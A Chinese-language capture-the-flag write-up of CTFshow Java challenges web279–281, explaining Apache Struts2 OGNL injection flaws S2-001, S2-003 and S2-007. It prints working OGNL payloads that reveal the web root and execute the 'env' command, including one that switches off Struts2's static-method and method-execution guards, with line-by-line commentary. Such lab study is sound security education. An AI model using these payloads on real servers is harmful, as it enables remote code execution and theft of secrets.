[ CTFshow ] Java web279-web281
web279
OGNL表达式三个符号%, #, $
的含义
%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
$主要是在Struts 2配置文件中,引用OGNL表达式
S2-001
S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,
%{value}
并重新填充相应的表单数据
可以直接在登录框测试一下 %{2-2}
可以发现返回了0, 说明执行了OGNL表达式解析
获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// @org.apache.struts2.ServletActionContext@getRequest():
// 获取 HttpServletRequest 对象,即当前 HTTP 请求。
// #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"):
// 获取 HttpServletResponse 对象,用于返回数据给客户端。
// #req.getRealPath('/'):
// 获取 Web 应用的根目录
// #response.println(...):
// 将根目录路径 打印 到 HTTP 响应中
// #response.flush(), #response.close():
// 刷新并关闭响应流,确保数据返回给客户端。
命令执行查看环境变量env
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
new java.lang.ProcessBuilder(new java.lang.String[]{“env”})
创建 ProcessBuilder 对象,执行 env 命令, 查看环境变量
redirectErrorStream(true): 让标准错误流和标准输出流合并,避免丢失错误信息。
.start(): 启动进程,执行命令。
读取 env 命令输出
#b = #a.getInputStream(): 获取进程的标准输出流。
#c = new java.io.InputStreamReader(#b): 用 InputStreamReader 读取流内容。
#d = new java.io.BufferedReader(#c): 用 BufferedReader 进行缓存读取,提高效率。
#e = new char[50000]: 分配一个 50,000 字符的缓冲区(存储 env 命令的输出)。
#d.read(#e): 读取命令的输出到 #e 数组中。
返回执行结果
#f = #context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”): 获取 HttpServletResponse。
#f.getWriter().println(new java.lang.String(#e)):
将 env 命令的输出转换为字符串,并通过 HTTP 响应返回给攻击者。
#f.getWriter().flush(), #f.getWriter().close():
确保数据完全写入并关闭响应。
也可以使用相应的工具直接执行命令
web280
s2-003
Struts2将HTTP的每个参数名解析为OGNL语句执行,而OGNL表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果
对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
找了一些poc, 没利用成功, 直接用工具吧
web281
S2-007漏洞一般出现在表单处。当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意 OGNL 表达式。
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
#_memberAccess["allowStaticMethodAccess"] = true
allowStaticMethodAccess
这个变量 默认是 false,禁止直接调用 Java 的静态方法。
设置为 true 后,允许直接调用 Java 的 Runtime、ProcessBuilder 等静态方法,可以执行任意命令。
#foo = new java.lang.Boolean("false"), #context["xwork.MethodAccessor.denyMethodExecution"] = #foo
xwork.MethodAccessor.denyMethodExecution
是 XWork(Struts2 的核心库) 中的安全机制,防止方法执行。
默认是 true,表示禁止执行方法。
这里 将其设置为 false,解除安全限制,允许攻击者执行任意方法
@java.lang.Runtime@getRuntime().exec('env').getInputStream()
通过 Runtime.exec() 执行 env 命令
getInputStream()
获取 env 命令的 标准输出,用于读取执行结果
@org.apache.commons.io.IOUtils@toString(...)
Apache Commons IO 库 的 IOUtils.toString() 方法可以 直接将 InputStream 转换为字符串。
直接用工具, 不过好像没看懂s2-007的, 用的是s2-016
参考文章
http://zepheyrrhome.fun/2024/10/14/ctfshow-java/